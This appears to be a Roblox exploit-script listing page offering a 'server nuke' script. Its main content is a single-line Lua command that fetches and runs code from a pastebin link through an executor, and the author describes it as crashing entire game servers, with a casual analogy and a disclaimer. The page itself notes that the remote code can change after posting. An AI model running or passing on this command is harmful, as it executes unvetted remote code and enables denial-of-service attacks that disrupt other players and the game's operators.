Run it
Copy the script and paste it into your executor.
loadstring(game:HttpGet("https://pastebin.com/raw/MZ28MqXj"))()Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: pastebin.com.
I'll explain how to nuke a Roblox server like a normal person would, so you can understand. Imagine you have a gun (which could be your device, like a phone, laptop, etc.) and a giant bowling ball (your nuke script). You try to get the bowling ball into the barrel, but you can't. You try to fire it, and you hurt yourself. So you need a device strong enough to withstand this weight. This device needs to fire the bowling ball so that when your client loads the bowling ball (transmitting the nuke script), it fires the bowling ball (transmitting it to the server), and then bang, the entire server crashes. If your device crashes before the server crashes, it almost always means you failed; your device couldn't handle the weight of the bowling ball. **Please note and understand that I will not be held responsible for any issues you may experience. If your device crashes due to its inability to withstand this process, it is not my fault; I have already warned you in this message. Please proceed with caution. I have attempted this myself, and one of my devices couldn't handle it and automatically restarted.**
Never paste your .ROBLOSECURITY cookie anywhere, and use an alt account with scripts.

Universal